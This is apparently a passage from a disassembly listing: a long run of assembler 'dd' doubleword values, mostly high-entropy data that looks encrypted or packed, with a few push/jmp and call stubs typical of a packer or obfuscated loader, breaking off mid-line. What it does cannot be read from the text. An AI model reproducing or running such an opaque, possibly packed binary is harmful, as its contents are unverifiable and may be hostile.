0A2742552h dd 9148C6E0h, 469D3CBEh, 30FF8629h, 872E4B49h, 3ADE5CEEh dd 19B035E1h, 0EEF30D92h, 865D3D2Ah, 2A26CA65h, 8F37CC9Ch dd 7C1143C1h, 0C8C5Eh, 6A05E700h, 0A74630C7h, 6007F308h dd 0AE492AC1h, 56FDF40Bh, 0C50C8EB3h, 8D6205ACh, 0CA21C063h dd 966D0CABh, 9F13B659h, 0AE5E9F24h, 383138E8h, 39DC1B8Ah dd 1E18579Ch, 7A1D5B4Dh, 6DEB6DDDh, 471C91D0h, 37E18528h dd 0B596CE38h, 28C00284h, 42000007h, 9B22A73Eh, 0EB327314h dd 0DD60E6C4h, 0A346E906h, 7B72234Ch, 568E918h, 8604ABC7h dd 9C1EC5ADh, 40BF4203h, 0C71743B9h, 89CE72D8h, 0C7174374h dd 0B23990D5h, 2A47932Dh, 3206843Dh, 43C12183h, 0F2DA008Dh dd 4D00000Bh, 0EE5841Fh, 499E41E0h, 10E78A31h, 52A948E3h dd 7CE18027h, 0E78E6B66h, 22C5B348h, 0EE8D687Fh, 18BBB44Bh dd 41BE4579h, 38E8AEB8h, 1B2C16D7h, 0DDB239DCh, 1CD77013h dd 3416AF56h, 0FAF912B6h, 53F203FDh, 7D2938D5h, 9439BFF2h dd 4CF904ECh, 0A91FD97Dh, 0AF028584h, 683h, 6BE86D13h dd 3EC87D92h, 76330EDDh, 0A2224A6Ch, 3ABF8424h, 463EC81Bh dd 78828079h, 7DAF4FD1h, 0D75AE1E8h, 0D2715251h, 0FF9F2413h dd 0EB2FD53Ah, 3BC248C4h, 0CABA32B6h, 5F42A32Ah, 0AA4D2ABFh dd 6407F007h, 78F77ACBh, 0C7179861h, 0A4433300h, 82214D26h dd 4FC165E5h, 0EE8D680Ah, 0E96CE96Ch, 1798936Ah, 0B858EEC7h dd 2A9C5573h, 7040C63Dh, 43C1FAE7h, 1A8E4CE1h, 7500000Bh dd 0A63DDC77h, 718629C8h, 0A83FE289h, 7A9130CBh, 1439D87Fh dd 8F36438Eh, 3ADD1BF0h, 96354097h, 7013DCF3h, 0F9761DD1h dd 38E8A9E0h, 1B14AE7Fh, 579C39DCh, 89D87518h, 0F068D29Dh dd 660284B5h, 5C3h, 1CDD62DFh, 1A3EC875h, 0A9A13ED9h, 8C274429h dd 3EE46A0Eh, 827914A7h, 9051EEEFh, 0BCB48B12h, 4AC97C19h dd 3EC8F3B3h, 16BA38CEh, 0BD2C8C13h, 45C3C4EBh, 6306F1BEh dd 9D402FC4h, 0BDBE4300h, 469BC717h, 45830083h, 0D63D2AB9h dd 0A7C1A070h, 0E6A743C1h, 0A7CF4h, 0FA95D700h, 0D7768057h dd 30D7A338h, 0DE797A91h, 26CDA43Bh, 15BCDE83h, 3D9235DCh dd 1AF19033h, 469D3CDBh, 0EFE38629h, 0A80ECF54h, 886138E8h dd 39DC1BBAh, 7018579Ch, 9835D0A3h, 7DD029B2h, 19AF3EC8h dd 0FCF5FE97h, 3C3BB855h, 7DCE0F94h, 23A13EC8h, 0A35308A5h dd 6E339ECCh, 7D6D6CF3h, 86043EC8h, 0CF3938E2h, 284B599h dd 4FABFh, 7C794600h, 0FC40DDh, 1D206836h, 0EE34D456h dd 0B45B966Dh, 7D310F14h, 0D56C3EC8h, 71F471F4h, 0C87DEBF2h dd 6000863Eh, 0EB3286DBh, 0F2FDD2C4h, 4F34C54Ah, 0BD4BC717h dd 299F9B3Bh, 0FFA2CDA2h, 0C46C8B60h, 174FBE3Fh, 0B533D1C7h dd 5D67FE18h, 174F07D6h, 5A955AC7h, 34B739B7h, 4FAB32B1h dd 40C6C717h, 20169DA0h, 0B33D2A41h, 3F944115h, 0D15E43C1h dd 99409h, 62FDEF00h, 0AF4E28BFh, 58FFFB10h, 0B65122B9h dd 0EB5BC13h, 0FDD4066Bh, 55AA4DF4h, 2D9781Bh, 1EB554F3h dd 0D70BAE51h, 0AB26B73Ch, 703938E8h, 47DF6DD2h, 0B24BC80Eh dd 0CD3EC84Bh, 605FAB37h, 935C7115h, 39DC14EBh, 0D425AE9Ch dd 0AB3EC8E5h, 0F1029B1Dh, 91CA6306h, 0EA058AE5h, 0E51006F0h dd 1F2BC446h, 643BFEA1h, 0D14BEB8Ah, 285499Bh, 188BDh dd 0DC1B4500h, 18579C39h, 9920D275h, 0A428AD30h, 0EAEF7B79h dd 67EC8CCAh, 0C4F52CA5h, 35C44BB6h, 3CC72D2Ch, 363DE7DBh dd 0CA40BC31h, 0C996AF48h, 17B6B7ADh, 0B14ECC7Eh, 18B3C099h dd 262BCB7Fh, 0C72D94D3h, 0BEBA893Ch, 28C8821Bh, 0BC4073FEh dd 2AB65F52h, 747BD2F5h, 9DE66BF7h, 0CE0600A0h, 0FEFC6A93h dd 0EA74231h, 0AB21B837h, 0CA40C72Dh, 312FA848h, 96000000h dd 660AB1C9h, 22A73EE0h, 0AE1E149Bh, 43C1C4F4h, 130D9BAAh dd 24279BA9h, 88A2546h, 791EE368h, 1D07C72Ch, 0B570E852h dd 0C6E6FC68h, 5C000000h, 9C39DC1Bh, 0DA731A57h, 9069E66Bh dd 0EF3EC87Dh, 8C4DD259h, 0E33EC87Dh, 432CC165h, 3EC07A0h dd 13A09552h, 0E365394Fh, 0D3A7DC60h, 0F5FA7F11h, 976DB251h dd 0AF3EC86Dh, 9A8C6C0h, 0BD5CDE6Ch, 4ED5F449h, 0F6CB42D1h dd 24A71DC4h, 2A5D2A1h, 7270895Eh, 9A63E084h, 0F5C72A13h dd 0D174118Fh, 2A138B52h, 0E260E6C7h, 4F2AC160h, 13DD1CA3h dd 1A5BC72Ah, 0EC68E27Bh, 0C56C855Eh, 75187343h, 9A649E7h dd 7F0D1h, 8E294B00h, 3BDA14EBh, 842B479Ch, 42DD0EE5h dd 8A31489Fh, 716082E7h, 0A93EE188h, 768D2CCFh, 0A239D877h dd 5B8F32D5h, 0AAA23BB8h, 0ECBD38E8h, 37DE1B56h, 3A344398h dd 7A1D9B3Eh, 39DC1BB4h, 6718579Ch, 0D0EDEC89h, 0A124A6DCh dd 6A03A6D2h, 0F1E140E0h, 287h, 22A73E67h, 757E149Bh, 63E1C4F5h dd 856479CAh, 0F391C72Ch, 0A97AF25Ch, 37DCFC69h, 66000002h dd 0B958966Dh, 0A373D329h, 0E484AF12h, 0C8F2635Fh, 0EB68ED3Eh dd 3EC8F212h, 0A33CD714h, 0D9D2BA7h, 0AD7B90F3h, 0D547E7F5h dd 2FB23990h, 4EF29960h, 0EB118E09h, 0D56511C4h, 532C9DA4h dd 28AD30B2h, 173852ABh, 0F69DD4C7h, 0D371F159h, 9E75F033h dd 56A72CD0h, 29C71738h, 19961D9Bh, 0C71738C0h, 7085299Fh dd 0AE45E487h, 0BD3D10C1h, 1C9C5A33h, 0D015019Eh, 0BED72F9h dd 9C3D2A2Eh, 54795A2Eh, 6A4343C1h, 6F070h, 8E294B00h dd 3BDA14EBh, 842B479Ch, 42DD0EE5h, 8A31489Fh, 716082E7h dd 0A93EE188h, 768D2CCFh, 0A239D877h, 5B8F32D5h, 0A5A23BB8h dd 0ECBD38E8h, 2BDC1B56h, 21D86710h, 7A139544h, 69847E79h dd 0B9BF3EC5h, 34D23EC8h, 682319B6h, 4AFF608Eh, 0FC7F017Fh dd 10E3FA79h, 87E3EC8h, 98CCF68h, 10F6078Ch, 0FB893EC8h dd 199EB15Bh, 629C3BDEh, 2851EEAh, 1356Ch, 0DC1BD600h dd 18579C39h, 0E86AEE75h, 709C90B3h, 6B9F7E22h, 0F370F3D6h dd 0C4F511D9h, 281BB452h, 0C72D58D5h, 0DA0D6442h, 0A64AE905h dd 69DAF46Ch, 5262FCh, 3EE00000h, 0CABCBA7h, 0AA88078Eh dd 35C4F4AEh, 3DDA8178h, 7B14BBB6h, 7F7851CFh, 890743DCh dd 6C8A59ECh, 761A30CDh, 2CB22CB1h, 1210EAC7h, 9FAB44E3h dd 816F8421h, 0F1EB05DEh, 7FCB6407h, 78A66401h, 37E5CBF9h dd 8096CE38h, 9AC0FC69h, 42000000h, 0B239DC1Bh, 0D70D1126h dd 62068090h, 0A84F2AC9h, 680BE40Fh, 3CE30EE5h, 0EDC2839Ch dd 24B95D04h, 4209A84Bh, 3ECB3750h, 1FC26592h, 0F07356EBh dd 0F6BF2073h, 0FCF6BBC4h, 1092B855h, 14BBB68Dh, 0C02CB075h dd 0E97B284Bh, 25733DFDh, 0AA28FF52h, 6108F106h, 0E7233A8Dh dd 0D7038C49h, 591h, 0C26500ECh, 0FFA2412Dh, 0CC6B12E8h dd 0F6993437h, 0CE7118E1h, 0A1D8F9ABh, 788057FAh, 0D09D32D5h dd 7E798E31h, 0B8A3CDBh, 0E8A77584h, 9F230C38h, 9837DE1Bh dd 0EE913443h, 39DC1B68h, 7518579Ch, 0B25921EEh, 72913515h dd 3244h, 0DC1BBE00h, 0DAA99C39h, 0E862FB9Eh, 0AA43E213h dd 0CEB00A0h, 0C36BCC69h, 0A54827ACh, 0A4289A1Eh, 0CC98AA90h dd 0BD96540h, 6105196Fh, 2714C2h, 1B6E0000h, 1C16E2DCh dd 301AB352h, 28AD30B2h, 0F77C1B5Bh, 3EC87DE6h, 0D26B0B79h dd 0C87D6B71h, 323DE93Eh, 801FC2ADh, 5B966DBAh, 4F99A9A6h dd 37B97143h, 1B20AC9Eh, 3BAA8D5Ah, 9CDB30D0h, 816E6FF4h dd 83013EC8h, 17AE6805h, 0C118C7A4h, 5CED3475h, 4603140Ch dd 0F073F573h, 15B25523h, 138E9135h, 0F592313Ch, 8851CE55h dd 0E73EC81Bh, 4D78BD61h, 0D4C4EB55h, 0AF32AF36h, 17E5A930h dd 9E42C8C7h, 0EC8B2E49h, 9835D817h, 5BE2E77Eh, 4AF109D6h dd 0C5149DADh, 9CC717E5h, 5FA66920h, 9872C15h, 575DE265h dd 283D345Eh, 19961BA2h, 0CD76E2C0h, 0C285299Fh, 0C05F02EDh dd 0CA94C2Bh, 8F16B30Ah, 4BED4610h, 0DBAB1937h, 5DA689D6h dd 3EFBDFB0h, 99000004h, 0CA21C05Bh, 956A0DACh, 0BC13B65Dh dd 5E7514AFh, 284DEC93h, 0EB925F72h, 16B9B74Ch, 0F2915C73h dd 1CBFB84Fh, 45CA497Dh, 38E8A6B4h, 1B60E2CBh, 7514E2DCh dd 0D2A370F3h, 10B09A33h, 0FA9DDA31h, 0EC73EE73h, 3EC87DEDh dd 7C7D0684h, 133EC87Dh, 0BB38D175h, 4E8F14BCh, 213EC87Dh dd 0D38825A3h, 0A8C74C23h, 30A86205h, 260284B2h, 38h, 0FAA3D09Fh dd 5D0FD469h, 3DE15FF7h, 22A73EF7h, 0B2F4149Bh, 0DD6BC4F4h dd 0CD6C8956h, 0C9D6252Ah, 2750C72Ch, 0DF0EE584h, 0DB170DE9h dd 3119B634h, 96C416AFh, 3E000003h, 9C39DC1Bh, 0D2751857h dd 0AD309920h, 0F559E426h, 741177C4h, 0ECF54D1h, 61C72CA1h dd 0FBFE43E3h, 24C72CA1h, 578DF77Ah, 1FC6992h, 3Ah, 22A73E81h dd 0BAAC49Bh, 496BE86Bh, 12C4F4AEh, 33DAA06Fh, 2CB22FAEh dd 46C442C7h, 9A199CA9h, 0C72CB243h, 4308A81Eh, 0C72CB2BEh dd 48B2BD67h, 0FC698110h, 0C246h, 0DC1BBC00h, 1A579C39h dd 0DE19DA73h, 2651A23Bh, 47330083h, 0A34307A0h, 7935BF84h dd 2ED3EC8h, 4C2BC05Fh, 254D22A9h, 0D541DA7Eh, 2FB23990h dd 1FF49760h, 460BAB52h, 3B0AA264h, 5A5423F0h, 6DDD7A1Dh dd 790F4BEBh, 0D59D24D6h, 0F159F69Dh, 6939E61h, 0FC7EB108h dd 4727FC79h, 0EA4308A8h, 853D125Dh, 0CAA77CFFh, 826F8423h dd 0F9880BDBh, 19F643C3h, 2B4C1h, 42DD0F00h, 8F2E489Fh dd 38DF1BF0h, 96314299h, 6E15DCF3h, 0DDF4A6CBh, 35CA6D14h dd 0E2F9983Bh, 0FED57413h, 37AB4EF1h, 0A0C6179Ch, 0D09938E8h dd 6BE86DF2h, 3EC87D92h, 70CB57EDh, 1F9F88Bh, 0FDF409ADh dd 531CB356h, 3E4911B0h, 0BAACBA7h, 0D35AD872h, 0A14E1945h dd 8D31D9A3h, 0AF6F45CAh, 5AF0C4F4h, 0AD7386BDh, 0C5ADC72Ch dd 8372811Eh, 3DF14BE4h, 74CC259Dh, 0B7BA6442h, 6A059F89h dd 68F6C800h, 0C98EFCh, 1BF40000h, 579C39DCh, 6BDA731Ah dd 1FB85B94h, 74F69DD4h, 79854FD4h, 727D3EC8h, 74774CCFh dd 1D635D9h, 55D053F6h, 37810FCEh, 44E462C1h, 0DC962BEBh dd 71D47114h, 3781EBF2h, 820086C1h, 34F67D00h, 0A73B0AA2h dd 358C7E21h, 548E6586h, 2CF70ECFh, 57E361C7h, 45C31D51h dd 0CD1741BEh, 94283D12h, 4F1E6D01h, 0A73317B0h, 4DCB2439h dd 5900F9C6h, 0B15821B6h, 0C30FC4DDh, 0C9119E43h, 1A9h dd 0AA4DE804h, 0D77A1955h, 0B453FA00h, 0EB14C1Fh, 0B65900F9h dd 0B9C01193h, 60986F12h, 0A8C51ABDh, 66916609h, 13B224C3h dd 0E8A34D8Ch, 774B2438h, 9837DE1Bh, 4C833443h, 0CD873C0Bh dd 551073FFh, 0B21B3C58h, 1BC99130h, 579C39DCh, 0FDD27518h dd 60B64FF2h, 0E86DF0D9h, 7D17E66Dh, 0DC633EC8h, 3EC87D1Dh dd 9956D674h, 2822BB5Eh, 9B4106AAh, 0ADC4F577h, 6EF595D6h dd 0C72C8B6Fh, 2D068402h, 4604A140h, 9D20A6A2h, 0FD25690Fh dd 0F7F7D148h, 0D8BBF58h, 33F00986h, 0F98FC72Ch, 0A04EBC55h dd 80234CD1h, 23982DE1h, 0B85CC06Ch, 29AC2E92h, 113FC8AAh dd 26008C3Dh, 50864AD0h, 13E05CFCh, 0A2A845E0h, 58385012h dd 2CAEBC38h, 0F4976093h, 0FF52DC5Bh, 0FA81489Dh, 3C0EFF75h dd 47EA6037h, 0A124C7B0h, 6700A7D2h, 1AE360E3h, 75D36612h dd 1DD66F0Fh, 0F614B150h, 0EB0489C8h, 0F075A948h, 2FCD52D9h dd 40295B19h, 0A9C62DCAh, 708A6906h, 0A4C72CC9h, 68876C09h dd 96D903C5h, 0F57CAA68h, 0F87B4E93h, 6613417Bh, 0DB15DA23h dd 1B549F38h, 0F578FA78h, 27EAF370h, 0A885DFB0h, 0BD8D2AD1h dd 8A7C9B3Bh, 920F9633h, 0B027CC0Dh, 8125A3DFh, 699C41BEh dd 15B32593h, 15B4C18Eh, 1C5B9871h, 0C553D679h, 8D8AE722h dd 70852935h, 0F84BE487h, 2ED6E278h, 27C05F8Eh, 66FFA6CCh dd 0D4024DD1h, 0F94DB43h, 459A3DE0h, 5EE872Ah, 58B24BE6h dd 511EA3AEh, 79460BAEh, 0E3CD980h, 0B75A956Ah, 3BC1Eh dd 86160000h, 3ED91BBCh, 822552A1h, 40DF0EE5h, 81244CA7h dd 3BE20FE4h, 812851A2h, 41DC0FE4h, 7C234FA4h, 47E610E3h dd 895224AEh, 4C281E2h, 83000000h, 148704EAh, 1C895C24h dd 0E7895724h, 4C781h, 0EF830000h, 243C8704h, 2404895Ch dd 216468h, 242C8900h, 3FA56855h, 0C15D1148h, 0C14D08E5h dd 0B95102EDh, 4E260EDh, 0E981D1F7h, 70CB9D2h, 8959CD01h dd 0C4685DE8h, 89000028h, 4812424h, 424h, 0EC815D00h, 4 dd 0BA241489h, 8, 289EA01h, 2434FF5Ah, 4C4835Dh, 5324048Bh dd 0C381E389h, 4, 4C381h, 1C870000h, 0ADE95C24h, 0D6FFFA9Dh dd 37716A58h, 0B84733C6h, 620DFE5h, 0E0FFC503h, 6303EA0Dh dd 4EE1A9E9h, 563FE3B7h, 68A101FFh, 4F19A771h, 1A565EB2h dd 6FED0B04h, 0B1EAA6Fh, 25A3EBCDh, 6DCAD656h, 5F43473Ch dd 2B210469h, 4F52E236h, 19BE1F04h, 631166A3h, 62128BC9h dd 3A397C88h, 615CC819h, 82F2FCBh, 0E19F8D8Dh, 958B0620h dd 61B32E9h, 1CBD9D89h, 8D89061Bh, 61B2429h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 14h, 89C35040h, 76585C7h dd 726C061Bh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1B0424h, 56460000h, 4AAE85C3h, 0EA3A5E44h, 0D185C72Ah dd 61B13h, 8B000000h, 1B176D95h, 81B5FF06h, 6A061B09h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 3A14C357h, 0E709BB66h, 2F8595FFh, 6A061Bh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 14C917C3h, 77D08166h, 0FF006AF3h, 1B220595h, 0EBC08B06h dd 418ACC0Ah, 69097C85h, 0EBB1FA19h, 9E7D0079h, 0E2218CEFh dd 0ABAFD60Fh, 4DB2979Fh, 95B7E37Ch, 0A9E57200h, 0B69CB5E9h dd 0F377609Bh, 0B794A9B6h, 60D7609Eh, 0A9BD897Dh, 9EBD8C9Eh dd 95ACE372h, 0B98B204Ah, 89937E9Bh, 0F496B99Dh, 0A19E96AFh dd 0A7D6B594h, 0D100FD91h, 594ACC48h, 713C33h, 57DB4D52h dd 0B7D65EF3h, 0F600B79Bh, 8995ABAFh, 56F0009Fh, 0B3D7C771h dd 711800BEh, 0ADC4D756h, 556A73E2h, 7E93C06h, 6800000Fh dd 620E3FEh, 0FA9BEFE9h, 0E4F168FFh, 0E5E90620h, 68FFFA9Bh dd 620E5C0h, 0FA9BDBE9h, 0E6FA68FFh, 0D1E90620h, 68FFFA9Bh dd 620E77Bh, 0FA9BC7E9h, 0E85A68FFh, 0BDE90620h, 68FFFA9Bh dd 620E8FAh, 0FA9BB3E9h, 0E9B368FFh, 0A9E90620h, 68FFFA9Bh dd 620EABAh, 0FA9B9FE9h, 0EB5368FFh, 95E90620h, 68FFFA9Bh dd 620EC60h, 0FA9B8BE9h, 0EED568FFh, 81E90620h, 68FFFA9Bh dd 620EFD1h, 0FA9B77E9h, 0EE896BFFh, 1BBAB44Bh, 0E48B677Ch dd 22BDAE45h, 0EA91687Fh, 51802247h, 9DE8128h, 56AD4CEFh dd 2D97817h, 3BAF52F5h, 9FC21B98h, 0CC9D38E8h, 2BDC1BF6h dd 0E7F8A270h, 179189D0h, 0DF1DD121h, 0AD46DF61h, 8E801FC2h dd 840B9237h, 0C4F55F46h, 71D26BD9h dd 0C72C9F6Ch, 0FA64EB99h, 0FC6997C2h, 3494h, 0A73EEE00h dd 99169B22h, 3EC87D40h, 4205A91Fh, 0F4AEE7BDh, 0D5A271C4h dd 0DCB59532h, 57D37312h, 0EAEF54F1h, 13C72CB3h, 447CE669h dd 12FC6980h, 0FFh, 6BE86D70h, 3EC87D92h, 22B757EDh, 781F5B55h dd 78DF6BDFh, 6951F063h, 3B0AA325h, 0B4B33CADh, 44CB0726h dd 3EC84CB5h, 0E7BC3ECCh, 7CCE6706h, 43EA07DCh, 8B2E49AAh dd 53F601F2h, 0D6A271B4h, 10B09A33h, 0C848B94Bh, 948E693Eh dd 973AB85Bh, 11943740h, 0F0903742h, 5421EE57h, 8E3218B5h dd 184459Ch, 0F57E1882h, 9AD7ACC4h, 50F05AF3h, 4ED37614h dd 37EEB1CAh, 0C7679EB5h, 32B91055h, 3859B0A6h, 6206F690h dd 0FA2E60DFh, 6C413D12h, 0BF668C82h, 673CBF41h, 0E560E38Ah dd 0E069F5Eh, 0F0FDF2CDh, 102FCF51h, 8757FEFBh, 43C354D9h dd 88FCDEAFh, 1D00000Ch, 0BE15B44Fh, 996E11B0h, 0C017BA61h dd 627918B3h, 2C51F097h, 771E5B76h, 52F503D8h, 7E1D58AFh dd 48EB04DBh, 118E35A9h, 38E89EC8h, 6DFCC6A7h, 935D5B96h dd 39CE72F0h, 33F69940h, 54F1945Ch, 727D52F6h, 3E2A30CFh dd 75E14A7h, 6F63D34Ah, 0CFE56AF1h, 90C4F432h, 13E65DFAh dd 0FCC72D17h, 6FE54F22h, 0E9FC6A1Bh, 0BFh, 0C568875Ch dd 0B87E2228h, 9C39DC1Bh, 0F16E1A57h, 3EC87DE8h, 7A03F2Eh dd 0BF41C743h, 79D71D26h, 0D2A13EC8h, 8B6000A7h, 0EFF9BB6Ch dd 9AF2249Dh, 28B47918h, 0BEF88B70h, 0BB50F0DAh, 9A7C19BCh dd 80FF8643h, 3B0AB01Ah, 4C01F8B5h, 92CFEE69h, 24A62448h dd 784C9185h, 2C1DE2FBh, 89077DC7h, 0B8B47D02h, 0BD4B3D12h dd 0E9906936h, 0C1608D62h, 643BFE1Dh, 0B146EA89h, 994D21C8h dd 6B43C392h, 0B9538A2h, 4A2A0000h, 0FBFB10AFh, 4C26BD5Ch dd 0FEED02A5h, 422FC463h, 4359FC9Bh, 1DBC638Eh, 6807AAC6h dd 24C36293h, 5AFDA0CFh, 9766ED68h, 0EA38E899h, 0DE1B4101h dd 34439837h, 1B68EE91h, 0A99C39DCh, 0C7A69CDAh, 0F106AA28h dd 81C46306h, 9A21C8B2h, 0C87DC415h, 892D9B3Eh, 3ED77E74h dd 7817BAB5h, 0E178D1E4h, 46C46791h, 59DE40BFh, 0D371C4F5h dd 739765DEh, 2BB2CEA1h, 0FE586A90h, 0CF0D3E57h, 0A855E5A0h dd 199C1E3Eh, 0AFAE009Ah, 0E66DDBC6h, 0FD9F8762h, 0DD60931Ah dd 0F7F18756h, 0CC6CDAC2h, 0AB1EA373h, 61ECAB28h, 826F38D6h dd 0CF56D473h, 0D154F700h, 0B855F402h, 0B84FEE92h, 44950EBFh dd 2707AD1Bh, 1FFFD5A9h, 44C94624h, 0AC696h, 7E195B00h dd 4BEA04DBh, 741B57ACh, 52EDFED5h, 7A2158AFh, 617072D7h dd 0B94EF198h, 667D1CBFh, 0B249E887h, 4B7F22C5h, 98B24BC8h dd 0DCCD38E8h, 39DC1B66h, 0E6E37A9Ch, 7926E05Fh, 0CB39C4F5h dd 0EB9DC448h, 2C58BC4Bh, 0F4C9561Fh, 701092F8h, 0C1085DD1h dd 77C7B53Ah, 0F2583D11h, 85EBEE55h, 6A14CD00h, 0AA477DE7h dd 5711F64Dh, 74000000h, 0A827D39Fh, 0CD008951h, 8C189A30h dd 0E809F19Fh, 0F43ADEDAh, 9B22A73Eh, 7D409916h, 0A91F3EC8h dd 0DBD4205h, 22C4F4B2h, 129B21A4h, 5F917616h, 11DE6105h dd 9DA245E4h, 0C72CA65Eh, 79FC9FD8h, 0CAB19EF3h, 7C1CF1A6h dd 3127469Dh, 8926A447h, 0A0251h, 0A73EC700h, 22149B22h dd 0B5C4EB1Fh, 0D857FFF8h, 0C7176301h, 0CF68EA60h, 0A976FD7Bh dd 778C2BCEh, 0DE38D578h, 36BB4287h, 176320B9h, 22BB38C7h dd 3DC71763h, 3BB84BC7h, 0C71763A2h, 25C947BDh, 1089D22h dd 69DF3D34h, 3FE20DE2h, 9B189DA0h, 0CD764142h, 832A501Dh dd 3EE260EAh, 922BCEA9h, 98C3D84h, 4B4EFC8Ah, 35097F37h dd 5DA60155h, 8C0CCE5Fh, 21000009h, 0C219B853h, 5D7215B4h dd 0B44BEE95h, 667D1CB7h, 2045E48Bh, 731A577Ah, 4EF1FFD4h dd 7A1954ABh, 54F700D7h, 0FD8201B5h, 38E89BFCh, 6B289A93h dd 3EC87D96h, 189B2EB3h, 0EB1F0E9Bh, 0B033D1C4h, 0CE7114E3h dd 189B3E39h, 63C7169Dh, 2C9AC717h, 0DE63B38Ch, 66ED68EBh dd 0C7176397h, 49E805EAh, 7C1C9EACh, 679C3AB9h, 47F3D2Ah dd 0C677E7Fh, 0F57311CDh, 0C1355721h, 0ECC6143h, 90Bh dd 9639D4A0h, 0F3963541h, 0D06F16DCh, 0FA9D383Bh, 0C2650CE5h dd 9DD4FD9Fh, 747C53F6h, 9CD92ED1h, 6A855AFDh, 0FB628C7h dd 0E89A4990h, 7B472838h, 9C39DC1Bh, 511E1857h, 0CE932CAEh dd 15EA1D34h, 37F527DCh, 5FFD2179h, 8DC33DE1h, 0CB02857Ah dd 414h, 0FE8B73Ah, 0F277D36Ch, 3EC8B0EBh, 0DA600086h dd 961DA73Eh, 3EC87D47h, 0A72EAC1Ah, 56029E2Ah, 13EDEC73h dd 6843EC8h, 22D10576h, 0A232B057h, 0E0335435h, 2DF296B9h dd 0C4EB6DECh, 6037F07Ch, 308C7239h, 0AF36D490h, 0A930AF32h dd 0C8C717FAh, 2E499E42h, 0D817EC8Bh, 56AB9835h, 0F3C717FAh dd 0D9566Eh, 5FC717FAh, 5FE467E9h, 3D2AFEA1h, 49900FB2h dd 0CFCD0CFEh, 0E664019Ch, 8E62E066h, 43C1AC00h, 2C2FAB84h dd 0C1000008h, 627918B3h, 7D52F594h, 0D42BCE75h, 865DFC97h dd 4025C46Bh, 933A379Ah, 6E11DFF4h, 9A3934CBh, 7417E0F7h dd 0DD62E1D5h, 38E8951Ch, 1BC87A73h, 579C39DCh, 0B04F1E18h dd 18B53317h, 7BF898DBh, 3EC87D62h, 6C0987FDh, 2CC96487h dd 0C2F07F2Fh, 3AA4AB57h, 284B602h, 32B54h, 966BAE00h dd 0B33EC87Dh, 9B189B2Eh, 0C4EB1F48h, 73EE7513h, 9532D19Ch dd 0B3BC11B5h, 5D9A7110h, 64F91DBAh, 0F76B8F57h, 0BF9497E2h dd 0C8F11ACh, 2AA94987h, 6C3CCA3Dh, 43C1E328h, 8CC31798h dd 21000007h, 0C219B853h, 5D7215B4h, 0B44BEE95h, 667D1CB7h dd 2045E48Bh, 731A577Ah, 4EF1FFD4h, 7A1954ABh, 54F700D7h dd 0FD8201B5h, 38E895FCh, 1B289A93h, 579C39DCh, 55531E18h dd 60FD7B16h, 2BC46393h, 861FA11Fh, 0C6303FDBh, 284B58Eh dd 297C8h, 966B3A00h, 0E23EC87Dh, 9E42E10Dh, 71F4D56Ch dd 0D6B892EBh, 0A52AE9BBh, 3EC8AE54h, 461B9D2Bh, 61E4842Bh dd 0EBCC1AE2h, 8C0F75C4h, 7215B8B7h, 5D98925Dh, 0A72921BEh dd 7F1E4F24h, 6BC464E6h, 30B316ABh, 122B27B5h, 0ADC407D3h dd 150A926h, 992FC717h, 0F4E30F5h, 63E13D2Ah, 0C1410B93h dd 22B85543h, 6D3h, 4EF18C68h, 7B1EBDB9h, 48E78E64h, 8225C0B3h dd 3ADD846Dh, 254C8517h, 0EC04DB7Eh, 2451A649h, 0E20DE285h dd 0A72EA03Fh, 0E894D128h, 3BFB038h, 16E2DC1Bh, 0F270DA73h dd 2ED19E55h, 0F2956291h, 27D39E55h, 0C87D51A8h, 189A303Eh dd 0B049C67Fh, 0CF3EC87Dh, 0A8A75139h, 125D097Ah, 46E510DFh dd 7F224DA2h, 5BD85DE0h, 3EC87D82h, 4DC767DDh, 284B217h dd 1041h, 0DE38C400h, 90D642CBh, 236FC9Ch, 1A8h, 7D6C6B58h dd 24B93EC8h, 0CCA31EA5h, 0E466FFA6h, 1F08FF44h, 2D9BC4EBh dd 0ED9ED9A6h, 8F53491Bh, 17A325C2h, 39D9DCF5h, 1417B702h dd 0EA8D303Fh, 9E37DA15h, 0A79DD8A7h, 0BB8F28C7h, 7A0AD3Dh dd 0AD531948h, 0B0C21709h, 5C9D22C6h, 33C71790h, 0C27A1395h dd 7247A8A1h, 48604A1h, 7E7F0481h, 0B8C717E7h, 0CD7D1AC1h dd 1417B74Dh, 2AE9A98Fh, 0FCCC3A3Dh, 43C1A3D4h, 0CCBF1BF4h dd 61000005h, 8259F893h, 9D32D574h, 748B2ED5h, 0A63DDC77h dd 0E08524CBh, 33DA17BAh, 8E313F94h, 3AD914EBh, 94374097h dd 0BD42C1F5h, 38E8973Ch, 1BE85A53h, 579C39DCh, 83D87518h dd 0D8179CB3h, 0E0589235h, 760284B1h, 7 dd 0DA02CCh, 6B580000h, 3EC87D6Fh, 0E3DD1AE9h, 74D66F16h dd 4DF159F6h, 0C04386DBh, 0EB1F5543h, 0DD60E6C4h, 0A346E906h dd 0E780234Ch, 9C1FAA2Fh, 0C6179C19h, 99C71763h, 0D0C68B2Bh dd 633D2A6Dh, 3FC1608Eh, 0C13F4B6Fh, 2AB07D43h, 533h, 6E11ACC8h dd 1BBE5D99h, 6807AEC4h, 22C56093h, 5AFDA4CDh, 5ECE5F7h dd 4C24BB5Eh, 4F106A9h, 422DC265h, 47CE009Fh, 0E89631C8h dd 0E35F5038h, 9C39DC1Bh, 0D8751857h, 179CB383h, 0E1AE35D8h dd 76D47118h, 81B733D2h, 4D0284B1h, 0C9815EBFh, 0D4760FAAh dd 0BED44848h, 7121B837h, 0CA403EC8h, 7AD26h, 2150000h dd 24h, 39DC1B58h, 7211DDB2h, 3AE575D5h, 0C0C34282h, 5D96AF4Fh dd 0E156EF92h, 0C2AD323Dh, 2E52801Fh, 0C8000000h, 0E66DE86Dh dd 3EC87D17h, 8657DC6Ah, 0D93EC87Dh, 83200B5Dh, 81FFB275h dd 4CEF08DDh, 974A90B3h, 100A3EC8h, 0B9B3BC41h, 0F9981AC1h dd 0E2DC1B31h, 59F67413h, 1AA128BDh, 0EB1FA395h, 1B562DC4h dd 0DD18DB74h, 201CBC3Eh, 234C23AAh, 0ED0AE180h, 0D469AD4Ah dd 0BCF16EF5h, 333D3401h, 36410E95h, 10DFF493h, 0FF46D06Dh dd 0B2BC43CAh, 0C5374B4Fh, 556F3Fh, 9A735DA6h, 42640h dd 1EB9BB00h, 0EB8A647Bh, 